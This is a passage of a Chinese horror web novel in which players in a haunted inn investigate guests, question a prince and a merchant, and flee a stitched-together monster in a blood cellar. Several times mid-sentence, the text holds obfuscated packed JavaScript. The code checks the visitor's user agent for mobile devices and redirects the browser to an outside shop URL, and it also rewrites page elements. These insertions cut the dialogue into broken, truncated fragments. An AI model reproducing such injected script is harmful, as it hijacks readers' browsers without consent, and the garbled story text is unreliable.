“哦,原因嘛,因为一个人上门比较有诚意而且我需要了解其他情况。”陆漫漫将两人迎进客院,“你们顺利通过桥的话说明许掌柜告诉我的没错。” 秦业:“你拿我们做实验?!” “不是你们自己要过来的吗?”陆漫漫不客气地直接坐在上座,说道,“你们是不是没办法看到小楼边上的水上廊道?” “嗯呢!小楼边上就是密密麻麻的树林,我们进去了一下,不过摸不到边,只能退回来。”冒飞扬问,“你既然见到主人了,他有像描述那样给你布置任务吗?” 陆漫漫没有说和客栈老板的交易,简略道:“有,探寻其他两间客院的主人逗留的真相。” 冒飞扬拍手:“那我们来帮你吧!” “喂!不要随便替别人决定!” “有什么关系嘛,多有趣啊!” 陆漫漫看着又开始拌嘴的两人,有种微妙的异样感,但因为本身就和他们接触不多,所以一时间分辨不出让她奇怪的点在哪里。 “一会儿中午的时候我会去他们的房间查探,你们愿意帮忙我很荣幸,若是不愿意,也希望可以帮我注意一下他们的动向。” 冒飞扬举手:“哦哦你是说这两人可能和你邻居有关?我愿意我愿意。时间很紧迫的吧?多个帮手总是好的。让秦业帮我们盯着人就行了。” 秦业:“……我们会帮忙的,作为你给情报的等价交换。” 陆漫漫后知后觉:“啊,情报原来是值钱货啊……” 她下意识按照玩游戏的方式思考了,毕竟不论是密逃还是剧本杀,除非特殊身份,当然是尽可能分享分析情报、集思广益更有利。 以后记住了,重要情报是要加钱的! 秦业:“……”好不容易碰到个有脑子的憨货,他收回那句话还来得及吗? 9. 诡栈零玖 手机时间十一点,湘乐和文泊一前一后离开小楼,前往大厅。 饭点时分,正是客栈最忙碌的时候,国家队成员从早开始就一直忙于干活赚钱,在见到进门坐到距离后门最近的餐桌有模有样点菜的卓卿越都瞪大了眼睛,要不是没工夫,不立马把人围住好好问一遍才怪。 但此刻,他们只能不解又羡慕地看了眼他桌上满满的餐盘,继续忙活去了。 叔胖组倒是没有这个担忧,询问过后直接在桌上落座,主动先开口交代了一上午的收获。 “整个前院我们都转过了一圈,还趁着白日通铺无人,检查了一下房间内的情况。这个是前院的地图。”大叔自称黄溥,胖子是他已故好友的儿子杨维鹏,“厨房自带小院,不许旁人进入,但后门开合的时候,我们看见里面有个侧门,有一些通铺的人会从那边进出。客栈另一侧是马棚和茅房。马棚那边有四匹马,其中三匹马非常高大,一匹看着逊色些许,边上还有一个被卸下的马车。” 卓卿越不动声色嗯了声,冷淡道:“前往后院的桥需要有足够的光亮才可以通过,其上不可回头,不可逗留太久。深夜十二点到四点最危险。” 黄溥微不可查地松了口气,他主动说情报是表明态度,还真没把握对方听完会不会拍屁股走人,毕竟他知道的东西,并没有什么太大的价值。现在看来交易是成功了。 “通铺有几个人也是因为住宿费不够从客房退下来的。从一号到三号,房费递减,三号基本都有一些负债。”黄溥说道,“昨天晚上,一号通铺有人窃窃私语,二号床铺有人坐了起来盯着调查员看,三号通铺则有人直接下地行走,不过不曾表露攻击倾向。” 卓卿越:“不可贸然去客院拜访。” “一号通铺的人基本都是钱不够居住客房调过来的,二号却很奇怪,明明将要负债,却谁都不肯走。我翻找到马棚角落里的一份纸质线索,那是个书生留下的,他很希望自己能顺利通过科举。记录的也都是大差不差的内容,但笔记的最后,是一张仿佛浸过血的疯狂写着‘中举’的纸页。” 卓卿越若有所思:“是任务描述中提到的……” “我们也是这么想的。虽然描述是说先接任务,再随机获取奖励。但我们猜测,应该有许愿的性质在。很可能在完成任务后,任务者可以提出愿望,其后店主会衡量其价值,如果超出任务本身,奖励的性质就会变化。” 卓卿越并不赞同:“有些牵强了。” 黄溥直接道:“我们有想要知道的事情。” “诡怪的任务可不是好做的,而且你怎么确定他一定能知道答案?” 黄溥认真道:“机会到了眼前,总要试一试。” 卓卿越耸肩:“我没打算阻拦你,交换情报而已。店老板住在兰苑,你去问掌柜可否拜访他就行,最好带点小礼物。说起来算我赚了,桌上的菜你们随便吃。” “不,你的情报更难得,饭就不用了,多谢。” 黄溥又不是不懂眼色,这会就卓卿越一个人在大堂,还坐在后门口这样的位置,自然是有所图,他就不留着碍人眼了。 没陌生人一起,卓卿越反倒更随意自在,一边慢悠悠地吃饭,一边还观察其他人的动向。 来吃饭的客人都像是走过场的,看着非常正常,既不会刻意为难跑堂,也不会不怀好意地盯着人看。有的甚至还会接受跑堂的建议,多加几个菜或者上两壶酒。显然只有对方真的犯了错才会被针对。 而失误的容错率也高,先前被拖走的许富贵这会儿还好好待着,受伤的手经过了简单的包扎,一时倒还看不出来许掌柜有给他什么惩罚。 二楼包厢有八间,就卓卿越默默看着的过程中,已经有两组客人往楼上去了。直到又来了几个要包厢的,探查员才试探着上去迎客,是汪实学。 许富贵在吃过亏后已经学乖了,苟着等其他人先主动出击。 不一会儿,汪实学就下来传了菜单,紧接着再度上楼,显然包厢的传菜不需要他亲自跑,但相对的,要全程随侍在侧。 如此看来,是否能多接待几次包厢客人,并不全由跑堂自身意愿决定,还得看运气。 卓卿越收回视线,继续观望看着毫不相识甚至互相都懒得看对方一眼纷纷坐得老远的琴师和画师。直到约莫半个小时后,才招手试图让店员把汪实学叫下来。 店员直接拒绝。 显然,有贵客权限的并不是他。他这个捎带的不配提要求。 有挂件自觉的卓卿越不再关注,安心完成女神交给他的任务。 此刻,二楼包厢。 上菜前和楼下没什么区别的顾客在上菜后就变了脸色。这间包厢顾客只有三人,点了十个菜,还都是荤菜,所以做起来比较慢,这会儿才刚上了两道菜。 “这不是我点的菜!”一人在尝了一口毛血旺后直接摔筷子,“味道完全不对!” 帮忙布菜的汪实学心头一凉,就知道事情不会那么顺利,小心赔笑道:“您觉得哪里不对?小人帮您反馈给厨房。” 这样客人挑菜的情况在大堂也有发生过,但都不是故意挑衅,这时候不论大包大揽还是单纯赔罪都会倒霉,一个合格的店小二就只是传声筒和服务程序而已。 那人眼睛在汪实学身上来回扫动,哼道:“当然是最后一道程序不对,和厨师无关,最关键的料还没加,味道怎么可能对?这难道不是你的工作吗?” 汪实学一头的问号,开始拼命思索。 究竟他是少做了什么?报菜名什么他可一样不少,就差直接说做菜过程了还能少了什么?总不能他还得先试个毒? 也不像啊,试菜的话也不应该吃了以后再发作。 另一人看着桌上的菜,说道:“的确,今天的颜色看起来不那么红。我尝尝。” 汪实学眼疾手快地给对方布菜。 这人尝了一口,眉头皱起:“毫无风味。” 不那么红…… 汪实学突然想到最开始那盘菜端上来时一起放着的小刀。因为那盘菜是他们预定早就烤制的烤羊腿,他在询问过后就直接帮着切片了。难不成,还有其他的作用? 他往门口隔间的布菜台走去,随着他往门口移动,包厢的三个人眼神都逐渐凶恶起来。 他忙不迭道:“小人有东西落在布菜台了,请诸位稍等。” 此话一出,三个人的神色缓和了些许,却眼睛都不眨地盯着他的一举一动。 汪实学快速拿了布菜台的小刀,就赶紧走了回来。这么短短一段路,他愣是走出了一身的汗。他毫不怀疑,在这个客人感觉到不快的时候如果他在门口多逗留一会儿,等待他的绝对不是什么好下场。 小刀上还沾着切肉的油渍,汪实学也不敢随便用东西擦,一咬牙,直接在手上划拉了一道口子,试探地往餐盘上移去。 无人开口,但三位顾客都肉眼可见地兴奋起来。 汪实学知道自己做对了,挨个在桌上的餐盘上挤血。 可显然,由于他是事后补救,多贡献了很多血客人才满意地让他收手。 “这个味儿才对嘛!果然还是这家的菜最美味!” “哈哈哈大家都放开吃,还有好几道菜没上呢。你还愣着干嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062118|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,赶紧布菜!” 汪实学白着脸赔笑:“好的。” 等一桌客人吃完,汪实学眼前都有些发晕了。送完客人就差点直接栽倒在地,被蹲守的何峰及时扶住。 两人小声耳语了几句,汪实学就摆摆手,被何峰搀扶着摁在了卓卿越的桌边上。这还幸亏许掌柜没有强硬要求负债者必须全程工作。 卓卿越:“?” “看着他照顾他,给他治疗。回头再说。” “可是我还有……” “卓卿越,听命令!” 卓卿越表情冷凝。 作为国家队队员,加入的时候就代表他会尽力配合队伍,但入队的宣誓誓词,摆在所有前面的第一条,是在不伤害他人的前提下,尽量保住自己的性命。第二条,队长可以分配工作,却不可以强硬要求队员做事。同样,队员也不可无理由反驳队长的意见我行我素。 作为陆漫漫临时搭档,卓卿越不会在对方不同意的前提下随便透露情报,包括自己的队长和队员。 如果他们和黄溥一样交换情报,当然皆大欢喜。 而此刻,很明显他这边进度颇丰,且有任务在身,何峰却不管不顾将伤员丢给他还甩出了命令,完全超出了队长的权限,甚至将十三队的主要任务抛之脑后。卓卿越当然不高兴。 不仅是不高兴,他是非常非常不高兴。他愿意听陆漫漫安排是他高兴,但不代表谁的话他都一定要遵从。 人又不是要死了,而且在大堂照顾治疗什么?这会儿通铺没人安全得很,直接去躺着不就完了。 汪实学失血过多,头脑发晕,被队长扶住后就放弃了思考,等了会儿还不见卓卿越动作,不由催了一下:“卓卿越,给我治疗一下。” “在这里?”如果汪实学清醒,会发现卓卿越的语气非常冷,“大庭广众用对你来说没什么用的治疗?” 汪实学趴着缓了会儿,说道:“也是。缓了缓感觉好一些了。” “废话。诡域里人体都转为了魂力,但凡你脑子灵活点,就变不成这幅死样子。”卓卿越低声啧道,“蠢人就安分点,看姐姐表演就完了。屁事多。” 汪实学没听清,啊了一声。 卓卿越目光在他伤痕累累的手上转了一圈,说:“我是问你,包厢客人是要你放血吗?” “对,他们的菜需要加点‘佐料’。”汪实学苦笑,“得亏我反应快,换成肖诚那个脑子转不过弯的,恐怕已经栽了。不过我不清楚素菜是不是也需要,那桌没点素。” 卓卿越哦了声,将自己面前的碗筷往对方身前一推:“吃吧,可以补充魂……体力。” 汪实学也不嫌弃,拿过就狼吞虎咽吃了起来。 为了尽快还债,他们几个都决定一天就吃一顿,就放在下午,这会儿汪实学跑了半天,又失血过多,早就精神不济。 一番狼吞虎咽,汪实学感觉自己缓过来了许多,问道:“昨晚你们发生什么了?怎么你今天?” “吃饭还堵不上你的嘴?”卓卿越冷漠道,“就算你知道了,现在还负债的前提下,你能做什么?不还完债,就算三天到了,你也离不开这里。先想着活下来吧。” 汪实学嘴抽了抽:“可队长那……” “他好不到哪里去。别看我,我浑身上下没一样东西是可以给你们抵债的。”卓卿越对何峰现在是负好感,随口叭叭道,“所以你们现在就想着顺利过关就好了,得到什么线索出去后我自己会写报告。这也算是我的功绩。” 汪实学哦了声,表示懂了。 谁没有一颗升级加薪的心啊!兄弟,懂你! 10. 诡栈壹拾 二号房和五号房可能是因为长住,屋内还算整洁干净,没有什么损坏的家具或者装饰,反而东西都摆放地很文雅,很符合两位艺术工作者的身份。 琴师的房间相对清爽些,房间在原本的布置上除了添置一些摆设并无太大变化。书桌上的纸张都整齐放着,写着看不懂的文字。 陆漫漫看了会儿才反应过来这是用文字记录的古代乐谱。乐谱基本只有半截,这琴师确实有些江郎才尽。 要找秘密当然是要找那些容易藏东西的地方。陆漫漫专挑着边边角角而去,最后意外在床内侧的缝隙里扒拉出了一条红色绣花的肚兜。 “恩?” 陆漫漫重新回到桌案,开始翻找纸质物品,却并没有找到任何类似信件的东西。她走到五号房,敲了下门,示意在里面翻找的冒飞扬交换。 冒飞扬嘀嘀咕咕出来,说道:“根本什么都没看到嘛,到处都是画,看得人眼都要瞎了。” 陆漫漫探头,看见凌乱的室内自己也凌乱了一秒钟,面无表情问道:“你翻的?” “本来就很乱,我就是稍微再翻了一下下,完全没什么变化啊!” 陆漫漫抽抽嘴角,说道:“你望风吧,秦业,你再去二号房看一下。” 走廊的秦业:“我就说你让她去会后悔,你还偏要满足她的任性。” 冒飞扬吐舌,一蹦一跳跑去和秦业交接:“找线索看起来就很好玩嘛,谁知道什么都没找到,那我就去望风啦!” 画师的房间里挂满了画,桌案边还塞了还几圆筒的卷轴,地上更是丢着各种纸团。 陆漫漫照例先找边角缝隙,什么都没有后才迟疑地看向那些挂着的画纸。 画师的技巧很高超,擅长人物画。不同于陆漫漫记忆中抽象的仕女图,画像都非常生动。有好多幅尚未完成的话都没有完整的面孔,从衣着形体看,倒是和客栈主人有几分相似。 能入画师画中皆是美人,有男有女,或清冷或娇俏,陆漫漫第一反应就是想拿手机把这些漂亮的画都拍下来,如果不是手机没有拍照功能,她还真想这样做。 看完挂着的画纸,陆漫漫又开始翻阅画卷,每次打开画卷,都有种拆盲盒的惊喜。直到拿到一副画卷,意外看见画上泣泪的美人。 先前所有的画,画像中的人物都可以感觉到开心喜悦,再不济也是随意自在清冷。唯有这幅画不同,陆漫漫眨眼的瞬间,仿佛看见画像上的美人滚下了一行泪珠。 “唰——”陆漫漫不经大脑思考地直接将卷轴甩在了地上,紧紧盯着被甩开半幅画的美人面孔,过了片刻都没有任何异常后,才小心地靠近。 “卓卿越打信号了,赶紧出来!”冒飞扬低喊了一声,迅速挨个敲门。 陆漫漫上前一步将画卷重新卷好,略想了想,直接把画带了出来。 迅速退出的两人直接小跑回一号房门口,几乎是在关门的刹那,就看见琴师踏出了大厅后门。 三人挨着靠在门口,听着琴师上楼,进房,许久不见动静也不曾放松,直到等到画师也上楼,并没有表现出异样后,才和回来的卓卿越一起,开圆桌会议。 卓卿越简单将探听到的消息说了一下。 “我把汪实学丢通铺了,等下午腾出空来,队长肯定要找我。姐姐,你要和他们合作吗?” 冒飞扬抢过话头:“和他们浪费时间做什么,笑死,他们还在打工历险记呢,都没有黄溥两人来的有用。” “人家问你了吗?”秦业没眼看,“你那么激动做什么?” “我怎么了我怎么了?我不就是就事论事嘛。” “好了,要吵就出去吵。”陆漫漫捏鼻梁,“我和你们才相处多久,动不动就吵架,还越吵越上火……” 说到这,陆漫漫突然顿住,手指敲了敲桌面,说道,“卓卿越,你再仔细说一下其他人进入诡域后的情况,然后跟我说一下你队员们以前的性格表现。” “哦。”卓卿越乖巧道,“进诡域后我就跟着姐姐了嘛,有的事情也不太清楚,他们……我加入十三队没多久,和队长组队参加过两次诡域,主要就是打探情报。队长一般都会先把名头搬出来,好稳定探查员的情绪。之后就小心探索。我一般都是摸鱼,不瞎来他不会管的。” 陆漫漫思考了片刻,说道:“我需要见一下蒋梦凡。” “见她做什么?” “有一些事情需要求证,不过目前也只是猜测。言归正传,秦业,你有在二号房找到什么线索吗?” “有一个账本,上面的东西让我有些在意。”秦业说,“因为经常记录,所以我没带出来,我简单描述一下。里面记录了琴师湘乐‘卖艺’挣的钱。除了包厢的客人,交易比较多的就是梅苑的‘夫人’‘小姐’,以及菊园的‘大人’。‘大人’隔三差五会叫他,但‘夫人’‘小姐’已经许久没找他了,有大约十天的时间。” “十天……” 秦业问:“你想到什么了吗?” 陆漫漫摇头:“线索太少,等我下午拜访过了再看。” 秦业说:“我们也申请了拜访,包括客栈老板,但现在都还没回音。在那之前,我们会想办法和琴师画师聊聊,你们身上还有什么可能值钱的东西吗?” 陆漫漫撇过脑袋:“一会儿我让掌柜的送两坛酒送点点心菜品过来,你们加油。” 秦业:“……”他突然有点想不明白自己为什么要趟对方的浑水。 前院诸事暂时与陆漫漫无关,在离开前,陆漫漫让店员把蒋梦凡喊了过来。 蒋梦凡对她的不喜可以说是从刚开始就带到了面上,陆漫漫原本以为按照她的猜测,对方会更讨厌她。但出乎意料,蒋梦凡却并没有,反而带着一种莫名的蔑视,说话带着一股脑残的味道。 “如果你现在愿意带我去引荐老板的话,等我成功了,倒也不是不能带你一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再一来,就是菊苑这三个人了,看着都像是练家子,上座的傻大个上来就直接本王,那必然是个王爷了。 王爷出行只和属下骑三匹快马,且自来到客栈就不曾离去,如果不是被困于此,就说明他们原本的目的地就是这里。 而实际上,诡栈本身似乎并不限制这些“客人”进出。 又没有美人,又没有同等地位的权贵相伴,王爷来此就别有用心了。只要不说错细节,仅仅是大方向的话陆漫漫还是可以瞎扯一下的。 当然,若不是对方很明显不想搭理她,陆漫漫也不会出此下策。 毕竟她才第一次进入诡域,根本不知道她按照常理的推测会不会和神鬼莫测的诡域背景相悖。 恩,大不了就被赶出去。青天白日的,不至于就因为她胡咧咧两句就直接变身对她下手吧? 11. 诡栈拾壹 王爷他已经完全被唬住,总之当时就傻了直接来了个自爆。 “我太没用了,不过就是调查一个人口失踪案,却到现在都不知道所以然,父皇肯定对我失望了……” 屁股隐隐腾起随时准备跑路的陆漫漫:“……” “王爷,不要随便听信他人的话,王爷来此地也不过才一月有余。此人身份真假尚不明确。” 陆漫漫不屑:“你们现在身上有什么值得我骗的吗?我的身份不能直说,但想来你们应该心知肚明。王爷,现在将任务相关事无巨细告诉我,然后请您即刻离去吧。” 装蒜的时候底气越足越容易忽悠到人。根本不需要陆漫漫自己编身份,其他人就会自我脑补。 就像这样—— 另一人开口:“王爷,莫不是陛下的……” 上首的王爷神色纠结,而后说道:“我可以告诉你,但我不会走的。你也知道了,我来这里是为了调查人口失踪一事。尤其之前科考,很多经过此地的学子都不见了踪迹,其中还有一位致仕尚书亲自教出来学生,所以引起重视。” 王爷来到这里后就居住菊苑,也一度非常积极地寻访,但怎么看都觉得这个客栈并没有太多古怪之处。经过的旅人既没有被绑架,也没有被挟持。 就是来了以后都不肯走。 之后没费什么力气,王爷就从旅人嘴里得出了“许愿”这件事。 “所以王爷也想许愿?” 王爷摇头:“靠许愿得来的东西总感觉不真实。但我想要见客栈主人一面,我想确定他是否真的有这样的能力。都走到这一步了,怎么能还一知半解。若是我连这么简单的事情都做不好,还有什么资格往上爬!” 陆漫漫:“……”您这智商,作什么作,安稳当王爷吧。 不过直到现在,陆漫漫才知道并不是所有人都像她那么顺利可以见到客栈主人的。哪怕是同样居住客院的贵客。 最后王爷表示把属下流云借给她,对方会跟她详细汇报这些日子查探的消息,他自己就不奉陪了。 直到领着他们离开菊苑,之前还郑重其事提醒王爷的流云才主动开口说话。 “我并不相信你们,只是王爷交代了,所以我会尽职尽责完成。”流云直接道,“这个客栈不对劲,在这里住下后,王爷就越来越不正常了。” 流云说,王爷有雄图大志,所以很想证明自己,但其实他们在得出那个“许愿”后就足够回去交代了,王爷却不肯走,铁了心认为这些根本不足以证明他的能力。 王爷想要亲自见到客栈主人,然后将对方抓住,送给陛下。他坚信唯有这样才算真正解决此事,让陛下对他刮目相看。他表示,王爷先前并没有这么“睿智”。 “暗火也逐渐奇怪,他以前练功偶尔偷懒,现在却经常偷懒,不愿意动弹,往往嘴边还说着诸如就休息一会儿没关系的,他都这么厉害了,无所谓了之类的话。” 陆漫漫似有所感:“你这样形容我倒是有个想法。我原先以为这里会放大人的情绪,但并完全不准确,或许应该说,是欲望。” 情绪不过是欲望不够的表现形式。 王爷想证明自己登临帝位,暗火想要足够咸鱼。 冒飞扬我行我素想到就做,秦业则不去忍受有话就说。这两人最初并不是不分场合展现自己性格的类型,但到刚刚见面,已经完全当着她和卓卿越这样不太熟悉的人吵架互怼了。 国家队几人的变化也同样。 或许,就连她自己也受到了影响。 如果是读书时代,她这样行事不足为奇。可在社会翻滚多年,贸然冒险根本不是她的行事风格。 陆漫漫想明白了,却没有懊悔。懊悔无用,她也不想懊悔,此时此刻,更想忘掉这些“理智的衡量”,一往无前地走下去。 仅仅只是有个“愿望”在前面吊着,总有理智的人不去沾染,但在欲望的加持强化下,人们就疯魔了一样想要留下,想去“许愿”,哪怕欠债在身都在所不惜。此时他们想达到的目标,已经完全成为他们生存的理由了。 流云恍然大悟,抱拳道:“该说的之前我都已经说了,我要去守着王爷,恕在下告辞。不过提醒二位一句,小心梅苑的客人。” “多谢。” 虽然有陆漫漫忽悠的原因在,但菊苑的客人超乎寻常地好说话,只是用寻常方式,估计也就是多费些力气的事情。 和菊苑客人的“随时等候”不同,梅苑客人接受了拜访后反过来邀请他们在天黑后去梅苑一同用晚餐。 天黑这个时间点,就非常微妙。 梅苑客人姓陈,四十些许,是一位商人,长着一张喜气的圆脸,从陆漫漫二人进门就一路殷勤。 “我啊是来这做生意的,顺便带着妻女游玩一番。”陈商人示意两人坐下,举起酒杯,“听说有客要来,我立刻让人准备了一些家乡菜,两位务必尝尝。我这人就爱交朋友,都说远亲不如近邻,出门在外,有事儿多照应照应。” 卓卿越举杯:“应该的。” 趁着陈商人饮酒,卓卿越将酒倒在了手帕上,陆漫漫更是把筷子拿到桌下迅速用带来的湿布擦拭了几次这才重新摆回来。 两人谨慎地只捡陈商人吃过的菜下筷,陈商人没说什么,却把桌上每一个菜都尝了一遍。 酒过三巡,胡扯了一番有的没的,陆漫漫似是随口问道:“怎么不见夫人和小姐?” “小女身体有些不适,夫人在照顾她。” “倒是我们来得不巧。” 陈商人叹口气:“小女贪凉,前几日晚上过了寒气,这些日子一直反复,所以我们才在这里逗留。大夫来看过了,说没大问题,就是要好好养一养。” “既然如此,我们改日再看望她们。”陆漫漫玩笑道,“说来,这个客栈有个传闻,不知陈大哥可有听过?” “你们是说许愿的事情。”陈商人笑道,“听过,不过这种事,哪能当真啊。住到现在,我连老板都没见过一面呢。再说我家庭圆满,身家颇丰,也没什么想要的东西。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080356|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我倒是觉得这是真事。前头有两位手艺人,一位琴师,一位画师,都一直期待见到老板,可惜老板始终不肯赏脸一见。说起来,我听说那位琴师倒是以前常来给夫人小姐奏乐?” “是有此事。湘乐先生琴技高超,闻之如听仙乐,小女颇爱之。文泊先生画技卓越,也曾给小女登门画像。” 陆漫漫能想到的问题问了个遍,明明陈商人有问必答,她却什么都没发现。怎么听都只是个和满幸福只是因为路途的小意外逗留的家庭而已。 难道问题出在那些随从身上? 陈商人出行除了一家三口,还有两位小厮、两个丫鬟和一个老妈妈。总不能略过主人去一个个询问吧? 陆漫漫揉了揉眼睛,捂嘴打了个哈欠。 磨磨蹭蹭的饭都吃完了,按说该告辞了,但一点有用的信息都没有,直接走人陆漫漫又觉得不甘心。 陈商人为人世故,说话毫无破绽。与其浪费时间,倒不如晚上夜游一下,明日再来探望内眷。 想到此,陆漫漫给“当家人”卓卿越使了个眼色。 卓卿越了然起身,结果刚离开椅子,身体就控制不住地晃了晃。 “我,我们先告辞了。” “哎哟,小兄弟是喝多了吧。都这么晚了,两位不然就先在我这住下吧,也省的回去折腾了。” “不,我……” 陆漫漫惊起,然后差点一个倒栽葱直接倒下,被小厮扶住。 与其说是扶住,倒不如说是死死钳制住。 “你……” “还不把客人带下去休息。”陈商人的面目在陆漫漫模糊的视线中变得冷淡而又面目可憎,还带着一丝难以言喻的疯狂,“我就快成功了哈哈哈,我快成功了!香娘,我一定会……” 陆漫漫彻底失去知觉。 等再次清醒,她已经被五花大绑在一个黑暗的房间中。房间正中央的桌子上燃着蜡烛,浅淡的光亮只能隐隐看清周围的环境。 在她边上,就是同样被五花大绑的卓卿越。 陆漫漫晃了下还昏沉的脑袋,挣扎着起身,直接将被绑在身后的手伸到烛火上。 数秒过后,绳子被烧断,陆漫漫取下嘴里快被口水浸透布巾,揉了揉僵硬的腮帮,嘶声吹了下手上烫坏的皮肤。而后毫不留情踹了还昏迷的卓卿越,把人强制弄醒后才给他解绑。 “漫漫姐,这是怎么回事?我们那么小心怎么还会中招。” “谁知道呢,也许饭菜本来就有问题不过他先吃了解药。也许是香薰。也许他已经不是人了所以只会我们倒霉。追求原因已经没意义了。我看了时间,我们昏迷了大概五六个小时,时间快接近十二点了。”陆漫漫拿起烛台,移动着看了一圈,说道,“这里是地下室。” 卓卿越一眼看见陆漫漫手上的水泡,惊道:“漫漫姐你受伤了?我给你治疗。” “先给我治治脑袋,一抽一抽的,钻心的疼。”疼到无法思考,甚至想撞墙。 “好,我试试。” 12. 诡栈拾贰 很难形容治疗给人的感觉,陆漫漫能察觉到有一种难以形容的东西覆盖在脑袋表面,源源不断地释放出温暖。她试着去感受,去捕捉,同时想象它一点点渗入身体,与自己合二为一。 不过须臾,陆漫漫就头脑一清,连带着手上的伤势也全部清除。 “可以了。” “那我给你治疗一下手……”卓卿越眼睛微微睁大,“姐,你的手也没事了?” “恩,你的能力不错。对自己有用吗?” 卓卿越眼睛亮闪闪的,说道:“我可以治疗自己,不过在我意识不清醒的时候,是没办法发动魂力的。” 像是为了证明,卓卿越迅速给自己治疗了一下,结束才反应过来他这没明显伤势根本看不出什么。一时有些懊恼,甚至想要给自己来一下。 “行了,我们赶紧走,周围越来越冷了。” 结果才踏出小房间,两人就被那个巨大的血池惊到了。 或许是一直身处在这样的环境,嗅觉早已习惯异味,以至于两人都没察觉到充斥在空气中浓烈的血腥气息。直到凑近,那种更为浓烈的腥臭味才后知后觉反馈到大脑。 “姐,那边是不是门?”卓卿越憋着气,指着边上那堵隐没在黑暗中的墙,其中有块规则的方形黑得更为深沉。 “走!”陆漫漫大跨步向前,近乎是用跑的。 那的确是一扇门,一扇木门,看着很粗糙地用木板拼接在一起,外头却上了大锁。 “漫漫姐我来。”上手捣鼓了一下后,卓卿越直接放弃,后退两步一个飞踢…… 木门纹丝未动。 反倒是后面的池子开始咕噜噜冒起了泡泡。 这一瞬,陆漫漫浑身的寒毛都竖了起来。她看了一眼翻滚的池子,一把拽过还在试图破门的卓卿越:“让开,我来!” 陆漫漫甩开大裙摆,朝着中间的木板一个横踢,两指厚的门板直接被她踹飞了半块。 还不够。 陆漫漫收脚,再度一个飞踢,直接给门中间破了个洞。 “姐姐你是我的神!” “闭嘴,快走!” 卓卿越二话不说,扒拉着还横着木刺的木板,使劲往外面挤。 血池的沸腾逐渐减弱,一道人形阴影横躺在血池表面,寂静的环境中,有一道粗重的呼吸声响起,沉重的宛如是什么洪荒巨兽。 突兀的,那种沉重的呼吸声停止了。 陆漫漫面朝血池,灵活地从木板中间钻了出来,匆匆扫过一眼边上的各种置物架,直接往前面跑。 这里原本应该是个地下储藏室,闲置已久,空气因为他们的跑动扬起一片灰尘,卓卿越忍不住呛咳了一声。 这声音就像是给隐室内那东西一个信号,只听“砰”的一声,原本阻挡着他们的木门就这么直接被拍碎。 无法忽视的强烈视线从血池的方向投了过来。 是声音,也是光亮。 陆漫漫咬牙。 这本来就是地下,失去了光源伸手不见五指。是在黑暗中和一个怪物同处一室慢慢摸索出口,还是搏一把直接冲? 没有给陆漫漫太多时间思考,她将卓卿越推到一边,迅速道:“保持安静,注意烛光,找到出口给我信号。” 说完,直接护着烛台朝前奔去。 晦暗的光亮在宽阔的地下室内如同萤火,只能勉强照亮方寸之地,时不时还因为移动产生的气浪摇曳。 陆漫漫目标明确地朝着正前方奔跑,却只看见一面冰冷的墙壁。 果然,出口的通道不会那么顺利规整地就被她轻易找到。 脊背倏然汗毛乍起,刺鼻的腥气如同囚牢,包裹住陆漫漫周身。陆漫漫猛地矮身,眼睁睁看着一只瞧着纤弱无力的手臂从她脑袋上伸出,摁在了她面前的墙上。而后五指微微用力,留下了深深的爪印。 陆漫漫一个激灵:“卧槽!” 对方速度不慢,再不敢随意暴露后背的陆漫漫谨慎地滑开距离,将烛台朝前晃去。 从血池出来的人形此时身上异常干爽,穿着血色的长衫,长而浓密的黑发凌乱地垂下,只露出半张白皙的面孔,隐隐可见脖子上有一道缝合的标记。 人形微微歪着的头侧着,覆盖着面孔的长发滑开,露出清俊的面孔,竟然是那副被陆漫漫带走的卷轴上的女子。 卷轴上的女子低某垂泪,唯余凄楚。而眼下这和女子一模一样面容的怪物却双眸漆黑,只见冰冷残虐。 再一细瞧,女子的身形颇为怪异,刚刚伸出的手纤细柔弱,另一只手却有些粗短,站立在那有不太明显的高低肩,这才导致她始终微微歪着脑袋。 就像是……身体是西拼八凑在一起的一样。 女怪并没有明显的思考能力,先前陆漫漫一路狂奔,她紧随而来。此刻陆漫漫只是站立不动,它倒是一时间没有什么动作。 但也只是暂时。 纤细的手再次动作,以雷霆之速带着千钧之力朝陆漫漫抓来,陆漫漫避之不及,手臂上被擦出几道血痕。 新鲜的血腥气弥漫,女怪肉眼可见地兴奋起来,直接朝着陆漫漫扑了过去。 被猝然攻击惊到的陆漫漫早就戒备拉满,灵活地避开攻击。 从来都是祭品被绑着看见它就吓得半死,遵循本能的女怪根本没有除了扑和抓咬以外的其他攻击手段,又怎么是武力值拉满的陆漫漫的对手。 虽说如此,陆漫漫却也对不知疼痛力量强悍的女怪毫无办法,不是没有试图去破坏对方脖颈处明显的缝合痕迹,但根本没办法接触,甚至差点因此手都被对方给咬断,只能不断进行闪避,稍有不慎身上就再添伤口。 这种情况别说带着烛台去找门,烛光都因为来回拉扯摇摇曳曳,有熄灭的危机。 